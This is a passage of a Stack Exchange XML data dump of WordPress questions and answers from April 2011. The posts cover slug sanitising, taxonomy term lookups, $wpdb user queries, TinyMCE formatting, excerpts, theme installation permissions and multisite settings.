}&#xA;&#xA;    $title = strtolower($title);&#xA;    $title = preg_replace('/&amp;amp;.+?;/', '', $title); // kill entities&#xA;    $title = str_replace('.', '-', $title);&#xA;    $title = preg_replace('/[^%a-z0-9 _-]/', '', $title);&#xA;    $title = preg_replace('/\s+/', '-', $title);&#xA;    $title = preg_replace('|-+|', '-', $title);&#xA;    $title = trim($title, '-');&#xA;&#xA;    return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4826" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:38:29.430" LastActivityDate="2011-06-07T14:38:29.430" Title="Is sanitize_title_with_dashes formatting function too liberal (in terms of accepted characters)?" Tags="&lt;php&gt;&lt;url-rewriting&gt;&lt;formatting&gt;&lt;encoding&gt;" AnswerCount="1" />
  <row Id="15387" PostTypeId="1" AcceptedAnswerId="15406" CreationDate="2011-04-22T10:25:06.467" Score="0" ViewCount="187" Body="&lt;p&gt;I have a Custom template with a custom query. I want to use additional information about the current taxonomy &gt; description and name (and use it in the HEAD, desc, keywords,  etc...)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$productvariable = $_GET['product'];&#xA;&#xA;$term = get_term_by('slug', $productvariable, 'mytaxonomy');&#xA;$mytitle = $term-&amp;gt;name;&#xA;$mydesc = $term-&amp;gt;description;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do i make the variable safe from url to get_term_by ($value)?&lt;/li&gt;&#xA;&lt;li&gt;And what if there is no match is it possible to use ELSE?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to use the values inside HEAD (header.php)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a security issue when using a GET variable from url with get_term_by?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4190" LastEditorUserId="4190" LastEditorDisplayName="" LastEditDate="2011-04-22T11:19:24.647" LastActivityDate="2011-04-22T16:48:58.097" Title="get_term_by with a variable" Tags="&lt;taxonomy&gt;&lt;slug&gt;&lt;variables&gt;" AnswerCount="1" />
  <row Id="15388" PostTypeId="2" ParentId="15385" CreationDate="2011-04-22T10:25:24.203" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Holidaymaine&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure where you are doing wrong, but try the following instead which is a self contained &lt;code&gt;test.php&lt;/code&gt; file you can drop into the root of your website and load in your browser with &lt;code&gt;http://yoursite.com/test.php&lt;/code&gt; &lt;em&gt;(assuming you replace &lt;code&gt;yoursite.com&lt;/code&gt; with your site's domain! Also, note how I adding in a &lt;code&gt;WHERE {$wpdb-&amp;gt;usermeta}.meta_key = 'last_name'&lt;/code&gt; to ensure you did not get records you were not expecting):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Filename: test.php&#xA;*/&#xA;&#xA;include('wp-load.php');&#xA;&#xA;$sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  {$wpdb-&amp;gt;users}.user_email,&#xA;  {$wpdb-&amp;gt;usermeta}.meta_value&#xA;FROM&#xA;  {$wpdb-&amp;gt;users}&#xA;  LEFT JOIN {$wpdb-&amp;gt;usermeta} ON {$wpdb-&amp;gt;users}.ID = {$wpdb-&amp;gt;usermeta}.user_id&#xA;WHERE 1=1&#xA;  AND {$wpdb-&amp;gt;users}.user_status = '0'&#xA;  AND {$wpdb-&amp;gt;usermeta}.meta_key = 'last_name'&#xA;  AND {$wpdb-&amp;gt;usermeta}.meta_value = 'Smith'&#xA;SQL;&#xA;  $usersemails = $wpdb-&amp;gt;get_results($sql);&#xA;  header('Content-type:text/plain');&#xA;  print_r($usersemails);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-22T10:25:24.203" CommentCount="5" />
  <row Id="15389" PostTypeId="1" AcceptedAnswerId="15400" CreationDate="2011-04-22T10:54:45.850" Score="-1" ViewCount="55" Body="&lt;p&gt;I added a Merchant to the Wordpress E-commerce plugin. &lt;br&gt;&#xA;I want on the submit, after doing my curl() call, to clear the cart &lt;br&gt;&#xA;How do I do that? &lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://getshopped.org&quot; rel=&quot;nofollow&quot;&gt;link to plugin page&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3642" LastActivityDate="2011-04-22T16:08:18.630" Title="Clear Cart with Wordpress E-commerce plugin" Tags="&lt;e-commerce&gt;" AnswerCount="1" />
  <row Id="15390" PostTypeId="2" ParentId="15385" CreationDate="2011-04-22T11:32:36.183" Score="2" ViewCount="" Body="&lt;p&gt;You can do this via API, user search got improved in 3.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search = new WP_User_Query(array(&#xA;             'meta_value' =&amp;gt; 'Lastname',&#xA;             'fields' =&amp;gt; array('user_email'),&#xA;                ));&#xA;&#xA;var_dump($search-&amp;gt;get_results());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-22T11:32:36.183" CommentCount="4" />
  <row Id="15391" PostTypeId="2" ParentId="15361" CreationDate="2011-04-22T11:39:14.573" Score="0" ViewCount="" Body="&lt;p&gt;I am not entirely sure how secure this is, but WordPress Ajax handlers are user-aware (I guess request is still request so cookies are checked and if user is logged in that is accounted for). So you can make usual &lt;code&gt;current_user_can()&lt;/code&gt; check in them.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-22T11:39:14.573" CommentCount="3" />
  <row Id="15392" PostTypeId="1" CreationDate="2011-04-22T12:01:18.100" Score="0" ViewCount="93" Body="&lt;p&gt;After enable multisite environment in wordpress site creation wizard not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am installing &lt;a href=&quot;http://wordpress.org/extend/plugins/site-creation-wizard/&quot; rel=&quot;nofollow&quot;&gt;Site Creation Wizard (Wordpress Plugin)&lt;/a&gt; &lt;strong&gt;without enable multisite&lt;/strong&gt; there seems option &quot;Create new site&quot; in dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But If I install that plugin after I enabled multisite, the &quot;Create New Site&quot; option does not seems to be on the dashboard any longer. What can be the reason?&lt;/p&gt;&#xA;" OwnerUserId="4827" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-04-22T16:23:47.257" LastActivityDate="2011-05-22T18:52:36.303" Title="After enable multisite enviroment in wordpress site creation wizard not working" Tags="&lt;plugins&gt;&lt;multisite&gt;" AnswerCount="2" />
  <row Id="15393" PostTypeId="1" AcceptedAnswerId="15405" CreationDate="2011-04-22T14:58:28.253" Score="0" ViewCount="602" Body="&lt;p&gt;I know this is very avant-garde, but bear with me.&#xA;I've read that one is able to query a page by the page/post name or slug. I'm trying to do this because I need information from a page with a similar title/slug and will not have the ability to get the page id (unless there's a way to convert a title to an ID).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried multiple variations without success. This seems like the most reasonable way of handling this, but it's simply not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $args = array(&#xA;    'pagename' =&amp;gt; 'CM-145',&#xA;    'post_type' =&amp;gt; 'page',&#xA;    'posts_per_page' =&amp;gt; 1,&#xA;    'numberposts' =&amp;gt; 1&#xA;); ?&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;?php&#xA;        query_posts( $args );&#xA;        get_template_part( 'loop' );&#xA;        wp_reset_query();&#xA;    ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;                    &amp;lt;?php if ( is_front_page() ) { ?&amp;gt;&#xA;                        &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;?php } else { ?&amp;gt;&#xA;                        &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                        &amp;lt;?php the_content(); ?&amp;gt;&#xA;                        &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;                        &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '&amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;                &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried &lt;code&gt;'name' =&amp;gt; 'CM-145'&lt;/code&gt;, I'm not sure if this is the correct or reasonable way to perform this action. Ultimately I simply need to pull the page's thumb and excerpt so if you have a better Idea don't hesitate to let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-04-22T17:22:51.560" LastActivityDate="2011-04-22T17:22:51.560" Title="Get post by page name or slug" Tags="&lt;loop&gt;&lt;page&gt;&lt;slug&gt;" AnswerCount="2" />
  <row Id="15394" PostTypeId="1" AcceptedAnswerId="17951" CreationDate="2011-04-22T15:25:16.910" Score="0" ViewCount="734" Body="&lt;p&gt;Hey guys, I've added a TinyMCE to some textareas that are displayed in a custom meta box. All of the formatting works perfectly fine, except that the editor will not save &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;br/&amp;gt;&lt;/code&gt; tags. It doesn't preserve the line breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The TinyMCE is setup like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_tiny_mce(true, array('editor_selector' =&amp;gt; $field['class'] ) );&#xA;&#xA;'&amp;lt;textarea name=&quot;', $field['id'], '&quot; class=&quot;', $field['class'], '&quot; id=&quot;', $field['id'], '&quot; cols=&quot;60&quot; rows=&quot;8&quot; style=&quot;width:97%&quot;&amp;gt;', $meta ? esc_html($meta) : $field['std'], '&amp;lt;/textarea&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that all works perfectly fine. All the formatting buttons work fine, except for the &lt;code&gt;&amp;lt;P&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;BR&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if the editor is stripping them out before or after the post meta is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-26T10:15:18.847" LastActivityDate="2011-05-22T21:07:00.730" Title="Extra TinyMCE editor strips &lt;p&gt; and &lt;br&gt; tags?" Tags="&lt;editor&gt;&lt;tinymce&gt;&lt;line-breaks&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="15395" PostTypeId="2" ParentId="15393" CreationDate="2011-04-22T15:37:10.653" Score="1" ViewCount="" Body="&lt;p&gt;change &lt;code&gt;get_template_part( 'loop' );&lt;/code&gt; to &lt;code&gt;get_template_part( 'loop','page' );&lt;/code&gt; or manually insert a loop directly into that template and see if that's the issue. your code is otherwise correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*edit- I'm guessing your loop file has some conditional checks to determine how to display posts in different contexts that aren't met by your page query, so nothing is displayed.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-04-22T15:58:12.040" LastActivityDate="2011-04-22T15:58:12.040" CommentCount="4" />
  <row Id="15396" PostTypeId="2" ParentId="15392" CreationDate="2011-04-22T15:37:39.250" Score="0" ViewCount="" Body="&lt;p&gt;Look in the Network Admin area instead.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-22T15:37:39.250" />
  <row Id="15397" PostTypeId="2" ParentId="15385" CreationDate="2011-04-22T15:40:19.417" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;SELECT users.user_email, usermeta.meta_value&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT $wpdb-&amp;gt;users.user_email, $wpdb-&amp;gt;usermeta.meta_value&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prefixes matter.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-22T15:40:19.417" />
  <row Id="15398" PostTypeId="2" ParentId="15153" CreationDate="2011-04-22T15:45:58.367" Score="0" ViewCount="" Body="&lt;p&gt;There's also &lt;a href=&quot;http://wordpress.org/extend/plugins/gravatar-box/&quot; rel=&quot;nofollow&quot;&gt;Gravatar Box&lt;/a&gt; which I wrote. It's handy for a comments form, to increase Gravatar awareness.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-22T15:45:58.367" />
  <row Id="15399" PostTypeId="1" AcceptedAnswerId="15412" CreationDate="2011-04-22T15:50:33.637" Score="0" ViewCount="145" Body="&lt;p&gt;I tried to install a premium theme called Superb. I'm new to WordPress and I'm having a bit of a problem. I think that it has to do with permission settings, but I'm not sure. This is my situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on a Mac running MAMP Pro. I've setup WP on my local machine. When I open my site in a browser, I see the default WordPress page. So far, so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I unbundled the Superb zip file and put the directory in wp-content --&gt; themes. I went to WP's dashboard Appearance--&gt; Themes, but Superb was not visible. There was no picture of the theme and no nothing to activate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I changed the Superb directory's permissions to Me: Read &amp;amp; write, Everyone: Read only. Now, the Superb theme is visible. I activated the theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I opened the browser, I got these error messages at the top of the page and then the default page styled with the Superb theme: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: include(recaptchalib.php) [function.include]: failed to open stream: Permission denied in /Users/myname/Sites/mysite/wp-content/themes/Superb/uContact/contact.php on line 136&#xA;&#xA;Warning: include() [function.include]: Failed opening ‘recaptchalib.php’ for inclusion (include_path=’.:/Applications/MAMP/bin/php5.2/lib/php’) in /Users/myname/Sites/mysite/wp-content/themes/Superb/uContact/contact.php on line 136&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I can't even login into wp-admin and there are lots of warnings as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that I'm doing something wrong with the permissions. Maybe I made some other idiotic mistake. If someone can give me detailed instructions on how to solve this problem on a Mac, I would be psyched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-04-22T18:10:13.643" Title="Problem Installing a Premium Theme-- File Permission Issue on a Mac, Local Machine?" Tags="&lt;themes&gt;&lt;permissions&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="15400" PostTypeId="2" ParentId="15389" CreationDate="2011-04-22T16:08:18.630" Score="0" ViewCount="" Body="&lt;p&gt;according to their docs: &lt;code&gt;$wpsc_cart-&amp;gt;empty_cart();&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-22T16:08:18.630" />
  <row Id="15401" PostTypeId="2" ParentId="1482" CreationDate="2011-04-22T16:09:55.293" Score="0" ViewCount="" Body="&lt;p&gt;I used Philip's plugin and made some modifications to plugin and WP files to solve the issue with totals of items. See details at &lt;a href=&quot;http://junvo.com/blog/2011/restrict-users-to-view-only-their-own-media-library-items-in-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://junvo.com/blog/2011/restrict-users-to-view-only-their-own-media-library-items-in-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4829" LastActivityDate="2011-04-22T16:09:55.293" />
  <row Id="15402" PostTypeId="1" AcceptedAnswerId="15404" CreationDate="2011-04-22T16:13:50.907" Score="0" ViewCount="76" Body="&lt;p&gt;I have a template that pulls three posts query_posts() loop. Two of the posts and are truncated to 10 words like I have it set in a filter. The third decided to ignore the filter and is spitting out 33 words. I can't see a difference between the posts. Does anybody know why this would happen?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while (have_posts()) : the_post();&#xA;  $img = get_post_meta($post-&amp;gt;ID, 'Featured Thumbnail', true);&#xA;                    ?&amp;gt;&#xA;  &amp;lt;div style=&quot;width:237px; float:left; margin-right:20px;&quot; &amp;lt;?php post_class(); ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;    &amp;lt;img style=&quot;margin-bottom:10px;&quot; src=&quot;&amp;lt;?php echo $img; ?&amp;gt;&quot;/&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;div style=&quot;margin-bottom:5px;&quot;&amp;gt;&#xA;      &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title('&amp;lt;h3&amp;gt;', '&amp;lt;/h3&amp;gt;'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3880" LastActivityDate="2011-04-22T16:31:08.017" Title="Using the_excerpt() some posts are truncated and some are not" Tags="&lt;posts&gt;&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="15403" PostTypeId="2" ParentId="15350" CreationDate="2011-04-22T16:21:05.467" Score="0" ViewCount="" Body="&lt;p&gt;Metabox inside CUSTOM POST TYPE allown just one main FORM as i understand and delete any FORM added later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my solution is to load javascript code wich will add you FORM tag to complete your code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#where&quot;).append('&amp;lt;form&amp;gt;MY FORM IN MY METABOX&amp;lt;/form&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4830" LastActivityDate="2011-04-22T16:21:05.467" CommentCount="1" />
  <row Id="15404" PostTypeId="2" ParentId="15402" CreationDate="2011-04-22T16:31:08.017" Score="0" ViewCount="" Body="&lt;p&gt;Does that post have an excerpt manually entered? the filter only works on excerpts when they're pulled from the post content.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-22T16:31:08.017" CommentCount="3" />
  <row Id="15405" PostTypeId="2" ParentId="15393" CreationDate="2011-04-22T16:43:49.507" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Zach Shallbetter:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand your question, then you are looking to solve your problem using theming functions when you really need to use more of WordPress' API. The following code can be copied to a &lt;code&gt;test.php&lt;/code&gt; file and run using &lt;code&gt;http://yoursite.com/test.php&lt;/code&gt; for you to see how it works &lt;em&gt;(assuming you replace &lt;code&gt;http://yoursite.com&lt;/code&gt; with your own website's domain, of course!)&lt;/em&gt; Then read the comments to see where to place the code for use in your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;// The function should go into your theme's functions.php file&#xA;function get_excerpt( $post_id ) {&#xA;  $post = get_post( $post_id );&#xA;  $excerpt = $post-&amp;gt;post_excerpt;&#xA;  return ( post_password_required($post) ? false : &#xA;     apply_filters( 'get_the_excerpt', $excerpt ) );&#xA;}&#xA;&#xA;include('../wp-load.php');&#xA;&#xA;// This code goes where you need to get and display the excerpt and thumbnail&#xA;$post = get_page_by_path('CM-145');&#xA;$excerpt = get_excerpt($post-&amp;gt;ID);&#xA;$thumbnail = get_the_post_thumbnail($post-&amp;gt;ID);&#xA;?&amp;gt;&#xA;&amp;lt;div style=&quot;width:300px&quot;&amp;gt;&#xA;&amp;lt;span style=&quot;float:right;&quot;&amp;gt;&amp;lt;?php echo $thumbnail; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php echo $excerpt ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I'm a bit concerned you may be experiencing a bit of the &lt;em&gt;&quot;hammer-and-nail&quot;&lt;/em&gt; syndrome; i.e. when you have a problem and you only have a hammer you treat the problem like a nail when maybe what you need is to find a screwdriver?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically I'm concerned that you are using a Page for something that should either simply be an Option, or maybe at least a Custom Post Type? Can you explain your use-case more in-depth, and why you have chosen to use a Page?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-22T16:43:49.507" CommentCount="8" />
  <row Id="15406" PostTypeId="2" ParentId="15387" CreationDate="2011-04-22T16:48:58.097" Score="1" ViewCount="" Body="&lt;p&gt;you can look at line 874 in /wp-includes/taxonomy.php for the function itself. the value has &lt;code&gt;stripslashes&lt;/code&gt; applied and then it's used in a prepared statement, so I'd say it's safe. but there's nothing stopping you from checking the value yourself first if you know what parameters it will always fall within, like &lt;code&gt;ctype_alnum&lt;/code&gt; or something. then check if(empty($term)), to see if anything matched and print something else if not.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-22T16:48:58.097" />
  <row Id="15407" PostTypeId="2" ParentId="15399" CreationDate="2011-04-22T16:49:21.750" Score="2" ViewCount="" Body="&lt;p&gt;First, since you're using a premium Theme, you should first consult the Theme developer's support offerings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I would try installing the Theme &lt;em&gt;through WordPress&lt;/em&gt;, rather than manually:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Delete the existing Theme folder in &lt;code&gt;wp-content&lt;/code&gt;\themes` &lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Dashboard -&gt; Appearance -&gt; Themes&lt;/strong&gt;, click the &lt;strong&gt;Install&#xA;    Themes&lt;/strong&gt; tab, then the &lt;strong&gt;Upload&lt;/strong&gt; sub-tab.&lt;/li&gt;&#xA;&lt;li&gt;Upload/install the Theme using the form.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And if that still fails, &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress#File_permissions&quot; rel=&quot;nofollow&quot;&gt;check your file permissions&lt;/a&gt;. I believe &lt;code&gt;\wp-content\&lt;/code&gt; and sub-directories should pretty much all be &lt;code&gt;755&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-22T16:49:21.750" CommentCount="4" />
  <row Id="15408" PostTypeId="2" ParentId="15386" CreationDate="2011-04-22T16:53:07.373" Score="1" ViewCount="" Body="&lt;p&gt;Consider this function as a rough placeholder. It has more flaws than you might imagine … :)&lt;br&gt;&#xA;There are many plugins to improve the conversion for different languages and needs. You may take a look at my plugin &lt;a href=&quot;https://github.com/toscho/Germanix-WordPress-Plugin/blob/master/germanix_url.php&quot; rel=&quot;nofollow&quot;&gt;Germanix&lt;/a&gt; to see how this could be done.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-22T16:53:07.373" CommentCount="3" />
  <row Id="15409" PostTypeId="2" ParentId="12525" CreationDate="2011-04-22T16:56:56.923" Score="0" ViewCount="" Body="&lt;p&gt;I think it's a shame they have canceled the ability to add classes to links.&#xA;Do you know a good workaround to add them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now use this one, but this will wrap the anchor with another p or span tags and it's really unnecessary ..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add tinyMCE styles&#xA;function tc_add_formatTinyMCE($init) { &#xA;    $init['theme_advanced_buttons2_add'] = 'styleselect';  &#xA;    $init['theme_advanced_styles'] = 'friendlyname=classname, friendlyname2=another-classname  ';  &#xA;    return $init;&#xA;}&#xA;&#xA;add_filter('tiny_mce_before_init', 'tc_add_formatTinyMCE' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-04-22T16:56:56.923" CommentCount="1" />
  <row Id="15410" PostTypeId="2" ParentId="15399" CreationDate="2011-04-22T17:26:41.450" Score="0" ViewCount="" Body="&lt;p&gt;Like chip says for premium theme support its always bets to contact the developer, i've not come across one yet who isnt happy to help (maybe im lucky).. little pointer though seeing as your new to wordpress when uploading the theme via the install theme tab be sure that your uploading the actual theme zip, meaning some themes these days are so huge that they can be double or triple archived even&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-22T17:26:41.450" CommentCount="1" />
  <row Id="15411" PostTypeId="2" ParentId="15399" CreationDate="2011-04-22T18:07:36.513" Score="0" ViewCount="" Body="&lt;p&gt;Your include path is missing the current directory &lt;code&gt;.&lt;/code&gt;. This is a very common issue that the developer &lt;em&gt;should&lt;/em&gt; know. So either &lt;a href=&quot;http://www.geeksengine.com/article/php-include-path.html&quot; rel=&quot;nofollow&quot;&gt;fix the include path&lt;/a&gt; or replace the &lt;code&gt;include 'recaptchalib.php';&lt;/code&gt; with &lt;code&gt;include './recaptchalib.php';&lt;/code&gt; or &lt;code&gt;include dirname(__FILE__) . '/recaptchalib.php';&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-22T18:07:36.513" CommentCount="10" />
  <row Id="15412" PostTypeId="2" ParentId="15399" CreationDate="2011-04-22T18:10:13.643" Score="1" ViewCount="" Body="&lt;p&gt;Laxmidi:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You wouldn't FTP to your local installation of WordPress, which is under some directory that you have assigned with MAMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wherever that directory lives, you must unpack your theme.zip folder on your desktop, then move the theme into /wordpress/wp-content/themes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you add move your downloaded theme directory into WordPress, you should see the Theme under Dashboard -&gt; Appearance -&gt; Themes, after which you will activate it, then navigate to the local URL and see your WP install working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All files should be 644 and all folders 755.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tony Zeoli&lt;/p&gt;&#xA;" OwnerUserId="4833" LastActivityDate="2011-04-22T18:10:13.643" CommentCount="1" />
  <row Id="15413" PostTypeId="2" ParentId="15392" CreationDate="2011-04-22T18:13:18.087" Score="1" ViewCount="" Body="&lt;p&gt;Yes, With 3.1, Network has it's own control panel. Navigate to the top right of your Dashboard and you will see the link to &quot;network.&quot; You should then be able to create a new site in that panel view.&lt;/p&gt;&#xA;" OwnerUserId="4833" LastActivityDate="2011-04-22T18:13:18.087" />
  <row Id="15414" PostTypeId="2" ParentId="1604" CreationDate="2011-04-22T19:13:59.403" Score="0" ViewCount="" Body="&lt;p&gt;I was struggling with using $wpdb to connect to a second blog database from a parent site that needs to update two blogs. I used $wpdb-&gt;select($dbname, $dbh) to select the second database, but I was still getting results from the first database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I resolved the problem by calling wp_cache_flush() to clear the WordPress cache before calling WP functions on the second database.&lt;/p&gt;&#xA;" OwnerUserId="4835" LastActivityDate="2011-04-22T19:13:59.403" />
